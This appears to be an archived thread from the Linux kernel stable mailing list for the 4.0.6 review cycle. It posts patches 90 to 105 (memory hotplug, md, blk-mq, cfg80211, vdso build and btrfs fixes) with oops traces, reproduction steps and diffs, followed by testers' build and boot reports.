In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gu Zheng <[email protected]>
commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.
Izumi found the following oops when hot re-adding a node:
BUG: unable to handle kernel paging request at ffffc90008963690
IP: __wake_up_bit+0x20/0x70
Oops: 0000 [#1] SMP
CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
RIP: 0010:[<ffffffff810dff80>] [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP: 0018:ffff880017b97be8 EFLAGS: 00010246
RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
Call Trace:
unlock_page+0x6d/0x70
generic_write_end+0x53/0xb0
xfs_vm_write_end+0x29/0x80 [xfs]
generic_perform_write+0x10a/0x1e0
xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
xfs_file_write_iter+0x79/0x120 [xfs]
__vfs_write+0xd4/0x110
vfs_write+0xac/0x1c0
SyS_write+0x58/0xd0
system_call_fastpath+0x12/0x76
Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
RIP [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP <ffff880017b97be8>
CR2: ffffc90008963690Reproduce method (re-add a node)::
Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node.
When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table:
static inline bool zone_is_initialized(struct zone *zone)
{
return !!zone->wait_table;
}so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above.
Reviewed by: Yasuaki Ishimatsu <[email protected]>
--- mm/memory_hotplug.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
mm/memory_hotplug.c +3 -1
@@ -1978,8 +1978,10 @@ void try_offline_node(int nid)* wait_table may be allocated from boot memory, * here only free if it's allocated by vmalloc. */ -if (is_vmalloc_addr (zone->wait_table)) +if (is_vmalloc_addr (zone->wait_table)) {vfree (zone->wait_table); + zone->wait_table =NULL ; + } } }EXPORT_SYMBOL (try_offline_node);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 91/105 md: Close race when setting action to idle.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: NeilBrown <[email protected]>
commit 8e8e2518fceca407bb8fc2a6710d19d2e217892e upstream.
Checking ->sync_thread without holding the mddev_lock() isn't really safe, even after flushing the workqueue which ensures md_start_sync() has been run.
While this code is waiting for the lock, md_check_recovery could reap the thread itself, and then start another thread (e.g. recovery might finish, then reshape starts). When this thread gets the lock md_start_sync() hasn't run so it doesn't get reaped, but MD_RECOVERY_RUNNING gets cleared. This allows two threads to start which leads to confusion.
So don't both if MD_RECOVERY_RUNNING isn't set, but if it is do the flush and the test and the reap all under the mddev_lock to avoid any race with md_check_recovery.
--- drivers/md/md.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-)
drivers/md/md.c +6 -5
@@ -4144,13 +4144,14 @@ action_store(struct mddev *mddev, constset_bit (MD_RECOVERY_FROZEN , &mddev->recovery); else clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery); -flush_workqueue (md_misc_wq); -if (mddev->sync_thread) { -set_bit (MD_RECOVERY_INTR , &mddev->recovery); -if (mddev_lock (mddev) ==0 ) { +if (test_bit (MD_RECOVERY_RUNNING , &mddev->recovery) && +mddev_lock (mddev) ==0 ) { +flush_workqueue (md_misc_wq); +if (mddev->sync_thread) { +set_bit (MD_RECOVERY_INTR , &mddev->recovery);md_reap_sync_thread (mddev); -mddev_unlock (mddev); } +mddev_unlock (mddev); } }else if (test_bit (MD_RECOVERY_RUNNING , &mddev->recovery) ||test_bit (MD_RECOVERY_NEEDED , &mddev->recovery))
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 92/105 md: dont return 0 from array_state_store
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: NeilBrown <[email protected]>
commit c008f1d356277a5b7561040596a073d87e56b0c8 upstream.
Returning zero from a 'store' function is bad. The return value should be either len length of the string or an error.
So use 'len' if 'err' is zero.
--- drivers/md/md.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/md/md.c +1 -1
@@ -3765,7 +3765,7 @@ array_state_store(struct mddev *mddev, c err = -EBUSY ; }spin_unlock (&mddev->lock); -return err; +return err ?: len; } err =mddev_lock (mddev);if (err)
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 93/105 sched, numa: do not hint for NUMA balancing on VM_MIXEDMAP mappings
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mel Gorman <[email protected]>
commit 8e76d4eecf7afeec9328e21cd5880e281838d0d6 upstream.
Jovi Zhangwei reported the following problem
Below kernel vm bug can be triggered by tcpdump which mmaped a lot of pages with GFP_COMP flag.
[Mon May 25 05:29:33 2015] page:ffffea0015414000 count:66 mapcount:1 mapping: (null) index:0x0 [Mon May 25 05:29:33 2015] flags: 0x20047580004000(head) [Mon May 25 05:29:33 2015] page dumped because: VM_BUG_ON_PAGE(compound_order(page) && !PageTransHuge(page)) [Mon May 25 05:29:33 2015] ------------[ cut here ]------------ [Mon May 25 05:29:33 2015] kernel BUG at mm/migrate.c:1661! [Mon May 25 05:29:33 2015] invalid opcode: 0000 [#1] SMP
In this case it was triggered by running tcpdump but it's not necessary reproducible on all systems.
sudo tcpdump -i bond0.100 'tcp port 4242' -c 100000000000 -w 4242.pcap
Compound pages cannot be migrated and it was not expected that such pages be marked for NUMA balancing. This did not take into account that drivers such as net/packet/af_packet.c may insert compound pages into userspace with vm_insert_page. This patch tells the NUMA balancing protection scanner to skip all VM_MIXEDMAP mappings which avoids the possibility that compound pages are marked for migration.
--- kernel/sched/fair.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
kernel/sched/fair.c +1 -1
@@ -2166,7 +2166,7 @@ void task_numa_work(struct callback_head }for (; vma; vma = vma->vm_next) {if (!vma_migratable (vma) || !vma_policy_mof (vma) || -is_vm_hugetlb_page (vma)) { +is_vm_hugetlb_page (vma) || (vma->vm_flags &VM_MIXEDMAP )) {continue ; }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 94/105 blk-mq: free hctx->ctxs in queues release handler
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming Lei <[email protected]>
commit c3b4afca7023b5aa0531912364246e67f79b3010 upstream.
Now blk_cleanup_queue() can be called before calling del_gendisk()[1], inside which hctx->ctxs is touched from blk_mq_unregister_hctx(), but the variable has been freed by blk_cleanup_queue() at that time.
So this patch moves freeing of hctx->ctxs into queue's release handler for fixing the oops reported by Stefan.
[1], 6cd18e711dd8075 (block: destroy bdi before blockdev is unregistered)
--- block/blk-mq.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
block/blk-mq.c +6 -2
@@ -1589,6 +1589,7 @@ static int blk_mq_hctx_notify(void *datareturn NOTIFY_OK ; } +/* hctx->ctxs will be freed in queue's release handler */ static void blk_mq_exit_hctx (struct request_queue *q,struct blk_mq_tag_set *set,struct blk_mq_hw_ctx *hctx,unsigned int hctx_idx)
@@ -1607,7 +1608,6 @@ static void blk_mq_exit_hctx(struct requblk_mq_unregister_cpu_notifier (&hctx->cpu_notifier);blk_free_flush_queue (hctx->fq); -kfree (hctx->ctxs);blk_mq_free_bitmap (&hctx->ctx_map); }
@@ -1873,8 +1873,12 @@ void blk_mq_release(struct request_queueunsigned int i;/* hctx kobj stays in hctx */ -queue_for_each_hw_ctx (q, hctx, i) +queue_for_each_hw_ctx (q, hctx, i) { +if (!hctx) +continue ; +kfree (hctx->ctxs);kfree (hctx); + }kfree (q->queue_hw_ctx);
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 95/105 cfg80211: wext: clear sinfo struct before calling driver
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Johannes Berg <[email protected]>
commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another.
Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other.
Fix this by initializing the structure in question before the driver method call.
This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691
--- net/wireless/wext-compat.c | 2 ++ 1 file changed, 2 insertions(+)
net/wireless/wext-compat.c +2 -0
@@ -1333,6 +1333,8 @@ static struct iw_statistics *cfg80211_wimemcpy (bssid, wdev->current_bss->pub.bssid,ETH_ALEN );wdev_unlock (wdev); +memset (&sinfo,0 ,sizeof (sinfo)); +if (rdev_get_station (rdev, dev, bssid, &sinfo))return NULL ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 96/105 irqchip: sunxi-nmi: Fix off-by-one error in irq iterator
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Axel Lin <[email protected]>
commit febe06962ab191db50e633a0f79d9fb89a2d1078 upstream.
--- drivers/irqchip/irq-sunxi-nmi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/irqchip/irq-sunxi-nmi.c +1 -1
@@ -104,7 +104,7 @@ static int sunxi_sc_nmi_set_type(structirqd_set_trigger_type (data, flow_type);irq_setup_alt_chip (data, flow_type); -for (i =0 ; i <= gc->num_ct; i++, ct++) +for (i =0 ; i < gc->num_ct; i++, ct++)if (ct->type & flow_type) ctrl_off = ct->regs.type;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 97/105 x86/vdso: Fix the x86 vdso2c tool includes
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tommi Kyntola <[email protected]>
commit 0a4f59d6e09ef16fbb7d213cfa1bf472c7845fda upstream.
The build-time tool arch/x86/vdso/vdso2c.c includes <linux/elf.h>, but cannot find it, unless the build host happens to provide it.
It should be reading the uapi linux/elf.h
This build regression came along with the vdso2c changes between v3.15 and v3.16.
--- arch/x86/vdso/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/x86/vdso/Makefile +1 -1
@@ -51,7 +51,7 @@ VDSO_LDFLAGS_vdso.lds = -m64 -Wl,-soname $(obj)/vdso64.so.dbg: $(src)/vdso.lds $(vobjs) FORCE $(call if_changed,vdso) -HOST_EXTRACFLAGS += -I$(srctree)/tools/include +HOST_EXTRACFLAGS += -I$(srctree)/tools/include -I$(srctree)/include/uapi hostprogs-y += vdso2c quiet_cmd_vdso2c = VDSO2C $@
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 98/105 x86/vdso: Fix make bzImage on older distros
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Oleg Nesterov <[email protected]>
commit ef7254a595912b026d80a4116b8c4cd5b79d9c62 upstream.
Change HOST_EXTRACFLAGS to include arch/x86/include/uapi along with include/uapi.
This looks more consistent, and this fixes "make bzImage" on my old distro which doesn't have asm/bitsperlong.h in /usr/include/.
--- arch/x86/vdso/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/x86/vdso/Makefile +1 -1
@@ -51,7 +51,7 @@ VDSO_LDFLAGS_vdso.lds = -m64 -Wl,-soname $(obj)/vdso64.so.dbg: $(src)/vdso.lds $(vobjs) FORCE $(call if_changed,vdso) -HOST_EXTRACFLAGS += -I$(srctree)/tools/include -I$(srctree)/include/uapi +HOST_EXTRACFLAGS += -I$(srctree)/tools/include -I$(srctree)/include/uapi -I$(srctree)/arch/x86/include/uapi hostprogs-y += vdso2c quiet_cmd_vdso2c = VDSO2C $@
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 99/105 Btrfs: send, add missing check for dead clone root
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Filipe Manana <[email protected]>
commit 5cc2b17e80cf5770f2e585c2d90fd8af1b901258 upstream.
After we locked the root's root item, a concurrent snapshot deletion call might have set the dead flag on it. So check if the dead flag is set and abort if it is, just like we do for the parent root.
--- fs/btrfs/send.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
fs/btrfs/send.c +2 -1
@@ -5855,7 +5855,8 @@ long btrfs_ioctl_send(struct file *mnt_f clone_sources_to_rollback = i +1 ;spin_lock (&clone_root->root_item_lock); clone_root->send_in_progress++; -if (!btrfs_root_readonly (clone_root)) { +if (!btrfs_root_readonly (clone_root) || +btrfs_root_dead (clone_root)) {spin_unlock (&clone_root->root_item_lock);srcu_read_unlock (&fs_info->subvol_srcu, index); ret = -EPERM ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 100/105 Btrfs: send, dont leave without decrementing clone roots send_progress
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Filipe Manana <[email protected]>
commit 2f1f465ae6da244099af55c066e5355abd8ff620 upstream.
If the clone root was not readonly or the dead flag was set on it, we were leaving without decrementing the root's send_progress counter (and before we just incremented it). If a concurrent snapshot deletion was in progress and ended up being aborted, it would be impossible to later attempt to delete again the snapshot, since the root's send_in_progress counter could never go back to 0.
We were also setting clone_sources_to_rollback to i + 1 too early - if we bailed out because the clone root we got is not readonly or flagged as dead we ended up later derreferencing a null pointer because we didn't assign the clone root to sctx->clone_roots[i].root:
for (i = 0; sctx && i < clone_sources_to_rollback; i++) btrfs_root_dec_send_in_progress( sctx->clone_roots[i].root);
So just don't increment the send_in_progress counter if the root is readonly or flagged as dead.
--- fs/btrfs/send.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
fs/btrfs/send.c +2 -2
@@ -5852,9 +5852,7 @@ long btrfs_ioctl_send(struct file *mnt_f ret =PTR_ERR (clone_root); goto out; } - clone_sources_to_rollback = i +1 ;spin_lock (&clone_root->root_item_lock); - clone_root->send_in_progress++;if (!btrfs_root_readonly (clone_root) ||btrfs_root_dead (clone_root)) {spin_unlock (&clone_root->root_item_lock);
@@ -5862,10 +5860,12 @@ long btrfs_ioctl_send(struct file *mnt_f ret = -EPERM ; goto out; } + clone_root->send_in_progress++;spin_unlock (&clone_root->root_item_lock);srcu_read_unlock (&fs_info->subvol_srcu, index); sctx->clone_roots[i].root = clone_root; + clone_sources_to_rollback = i +1 ; }vfree (clone_sources_tmp); clone_sources_tmp =NULL ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 101/105 btrfs: incorrect handling for fiemap_fill_next_extent return
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chengyu Song <[email protected]>
commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.
fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl.
--- fs/btrfs/extent_io.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
fs/btrfs/extent_io.c +4 -1
@@ -4514,8 +4514,11 @@ int extent_fiemap(struct inode *inode, s } ret =fiemap_fill_next_extent (fieinfo, em_start, disko, em_len, flags); -if (ret) +if (ret) { +if (ret ==1 ) + ret =0 ; goto out_free; + } } out_free:free_extent_map (em);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 102/105 btrfs: cleanup orphans while looking up default subvolume
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jeff Mahoney <[email protected]>
commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.
Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree.
--- fs/btrfs/super.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/btrfs/super.c +9 -0
@@ -901,6 +901,15 @@ find_root:if (IS_ERR (new_root))return ERR_CAST (new_root); +if (!(sb->s_flags &MS_RDONLY )) { +int ret; +down_read (&fs_info->cleanup_work_sem); + ret =btrfs_orphan_cleanup (new_root); +up_read (&fs_info->cleanup_work_sem); +if (ret) +return ERR_PTR (ret); + } + dir_id =btrfs_root_dirid (&new_root->root_item); setup_root: location.objectid = dir_id;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 103/105 Btrfs: fix range cloning when same inode used as source and destination
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Filipe Manana <[email protected]>
commit df858e76723ace61342b118aa4302bd09de4e386 upstream.
While searching for extents to clone we might find one where we only use a part of it coming from its tail. If our destination inode is the same the source inode, we end up removing the tail part of the extent item and insert after a new one that point to the same extent with an adjusted key file offset and data offset. After this we search for the next extent item in the fs/subvol tree with a key that has an offset incremented by one. But this second search leaves us at the new extent item we inserted previously, and since that extent item has a non-zero data offset, it it can make us call btrfs_drop_extents with an empty range (start == end) which causes the following warning:
[23978.537119] WARNING: CPU: 6 PID: 16251 at fs/btrfs/file.c:550 btrfs_drop_extent_cache+0x43/0x385 [btrfs]() (...) [23978.557266] Call Trace: [23978.557978] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 [23978.559191] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb [23978.560699] [<ffffffffa047f0ea>] ? btrfs_drop_extent_cache+0x43/0x385 [btrfs] [23978.562389] [<ffffffff8104544d>] warn_slowpath_null+0x1a/0x1c [23978.563613] [<ffffffffa047f0ea>] btrfs_drop_extent_cache+0x43/0x385 [btrfs] [23978.565103] [<ffffffff810e3a18>] ? time_hardirqs_off+0x15/0x28 [23978.566294] [<ffffffff81079ff8>] ? trace_hardirqs_off+0xd/0xf [23978.567438] [<ffffffffa047f73d>] __btrfs_drop_extents+0x6b/0x9e1 [btrfs] [23978.568702] [<ffffffff8107c03f>] ? trace_hardirqs_on+0xd/0xf [23978.569763] [<ffffffff811441c0>] ? ____cache_alloc+0x69/0x2eb [23978.570817] [<ffffffff81142269>] ? virt_to_head_page+0x9/0x36 [23978.571872] [<ffffffff81143c15>] ? cache_alloc_debugcheck_after.isra.42+0x16c/0x1cb [23978.573466] [<ffffffff811420d5>] ? kmemleak_alloc_recursive.constprop.52+0x16/0x18 [23978.574962] [<ffffffffa0480d07>] btrfs_drop_extents+0x66/0x7f [btrfs] [23978.576179] [<ffffffffa049aa35>] btrfs_clone+0x516/0xaf5 [btrfs] [23978.577311] [<ffffffffa04983dc>] ? lock_extent_range+0x7b/0xcd [btrfs] [23978.578520] [<ffffffffa049b2a2>] btrfs_ioctl_clone+0x28e/0x39f [btrfs] [23978.580282] [<ffffffffa049d9ae>] btrfs_ioctl+0xb51/0x219a [btrfs] (...) [23978.591887] ---[ end trace 988ec2a653d03ed3 ]---
Then we attempt to insert a new extent item with a key that already exists, which makes btrfs_insert_empty_item return -EEXIST resulting in abortion of the current transaction:
[23978.594355] WARNING: CPU: 6 PID: 16251 at fs/btrfs/super.c:260 __btrfs_abort_transaction+0x52/0x114 [btrfs]() (...) [23978.622589] Call Trace: [23978.623181] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 [23978.624359] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb [23978.625573] [<ffffffffa044ab6c>] ? __btrfs_abort_transaction+0x52/0x114 [btrfs] [23978.626971] [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48 [23978.628003] [<ffffffff8108a6c8>] ? vprintk_default+0x1d/0x1f [23978.629138] [<ffffffffa044ab6c>] __btrfs_abort_transaction+0x52/0x114 [btrfs] [23978.630528] [<ffffffffa049ad1b>] btrfs_clone+0x7fc/0xaf5 [btrfs] [23978.631635] [<ffffffffa04983dc>] ? lock_extent_range+0x7b/0xcd [btrfs] [23978.632886] [<ffffffffa049b2a2>] btrfs_ioctl_clone+0x28e/0x39f [btrfs] [23978.634119] [<ffffffffa049d9ae>] btrfs_ioctl+0xb51/0x219a [btrfs] (...) [23978.647714] ---[ end trace 988ec2a653d03ed4 ]---
This is wrong because we should not process the extent item that we just inserted previously, and instead process the extent item that follows it in the tree
For example for the test case I wrote for fstests:
bs=$((64 * 1024)) mkfs.btrfs -f -l $bs -O ^no-holes /dev/sdc mount /dev/sdc /mnt xfs_io -f -c "pwrite -S 0xaa $(($bs * 2)) $(($bs * 2))" /mnt/foo $CLONER_PROG -s $((3 * $bs)) -d $((267 * $bs)) -l 0 /mnt/foo /mnt/foo $CLONER_PROG -s $((217 * $bs)) -d $((95 * $bs)) -l 0 /mnt/foo /mnt/foo
The second clone call fails with -EEXIST, because when we process the first extent item (offset 262144), we drop part of it (counting from the end) and then insert a new extent item with a key greater then the key we found. The next time we search the tree we search for a key with offset 262144 + 1, which leaves us at the new extent item we have just inserted but we think it refers to an extent that we need to clone.
Fix this by ensuring the next search key uses an offset corresponding to the offset of the key we found previously plus the data length of the corresponding extent item. This ensures we skip new extent items that we inserted and works for the case of implicit holes too (NO_HOLES feature).
A test case for fstests follows soon.
--- fs/btrfs/ioctl.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
fs/btrfs/ioctl.c +4 -2
@@ -3206,6 +3206,8 @@ static int btrfs_clone(struct inode *src key.offset = off;while (1 ) { +u64 next_key_min_offset; +/* * note the key will change type as we walk through the * tree.
@@ -3286,7 +3288,7 @@ process_slot: }else if (key.offset >= off + len) {break ; } - + next_key_min_offset = key.offset + datal; size =btrfs_item_size_nr (leaf, slot); read_extent_buffer(leaf, buf, btrfs_item_ptr_offset(leaf, slot),
@@ -3501,7 +3503,7 @@ process_slot:break ; }btrfs_release_path (path); - key.offset++; + key.offset = next_key_min_offset; } ret =0 ;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 104/105 Btrfs: fix uninit variable in clone ioctl
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chris Mason <[email protected]>
commit de249e66a73d696666281cd812087979c6fae552 upstream.
Commit 0d97a64e0 creates a new variable but doesn't always set it up. This puts it back to the original method (key.offset + 1) for the cases not covered by Filipe's new logic.
--- fs/btrfs/ioctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/btrfs/ioctl.c +1 -1
@@ -3206,7 +3206,7 @@ static int btrfs_clone(struct inode *src key.offset = off;while (1 ) { -u64 next_key_min_offset; +u64 next_key_min_offset = key.offset +1 ;/* * note the key will change type as we walk through the
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 105/105 Btrfs: fix regression in raid level conversion
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chris Mason <[email protected]>
commit 153c35b6cccc0c72de9fae06c8e2c8b2c47d79d4 upstream.
Commit 2f0810880f082fa8ba66ab2c33b02e4ff9770a5e changed btrfs_set_block_group_ro to avoid trying to allocate new chunks with the new raid profile during conversion. This fixed failures when there was no space on the drive to allocate a new chunk, but the metadata reserves were sufficient to continue the conversion.
But this ended up causing a regression when the drive had plenty of space to allocate new chunks, mostly because reduce_alloc_profile isn't using the new raid profile.
Fixing btrfs_reduce_alloc_profile is a bigger patch. For now, do a partial revert of 2f0810880, and don't error out if we hit ENOSPC.
--- fs/btrfs/extent-tree.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+)
fs/btrfs/extent-tree.c +18 -0
@@ -8535,6 +8535,24 @@ int btrfs_set_block_group_ro(struct btrf trans =btrfs_join_transaction (root);if (IS_ERR (trans))return PTR_ERR (trans); +/* +* if we are changing raid levels, try to allocate a corresponding +* block group with the new raid level. +*/ + alloc_flags =update_block_group_flags (root, cache->flags); +if (alloc_flags != cache->flags) { + ret =do_chunk_alloc (trans, root, alloc_flags, +CHUNK_ALLOC_FORCE ); +/* +* ENOSPC is allowed here, we may have enough space +* already allocated at the new raid level to +* carry on +*/ +if (ret == -ENOSPC ) + ret =0 ; +if (ret <0 ) + goto out; + } ret =set_block_group_ro (cache,0 );if (!ret)
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Quoted 8 lines
The whole patch series can be found in one patch at:
kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.0.6-rc1.gzand the diffstat can be found below.
thanks,
greg k-h
Compiled and booted on my test system. No dmesg regressions.
thanks,
-- Shuah
Signature · 7 lines
Shuah Khan Sr. Linux Kernel Developer Open Source Innovation Group Samsung Research America (Silicon Valley) [email protected] | (970) 217-8978 -- To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerQuoted 13 lines · Shuah Khan
Quoted 12 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.0.6-rc1.gzand the diffstat can be found below.
Quoted 6 lines
Quoted 4 lines
thanks,
greg k-h
Compiled and booted on my test system. No dmesg regressions.
Thanks for testing all 3 of these and letting me know.
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Build results:
total: 124 pass: 124 fail: 0 Qemu test results: total: 30 pass: 30 fail: 0
Details are available at http://server.roeck-us.net:8010/builders.
Guenter
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerQuoted 9 lines · Guenter Roeck
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Quoted 6 lines
Build results:
total: 124 pass: 124 fail: 0 Qemu test results: total: 30 pass: 30 fail: 0Details are available at http://server.roeck-us.net:8010/builders.
Thanks for letting me know for all 3 of these.
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Compiled and booted on x86_32.
regards
sudip
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerQuoted 9 lines · Sudip Mukherjee
Quoted 7 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
Compiled and booted on
x86_32.
And I guess it's working? :)
Thanks for letting me know for all 3 of these.
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Quoted 7 lines · Greg Kroah-Hartman
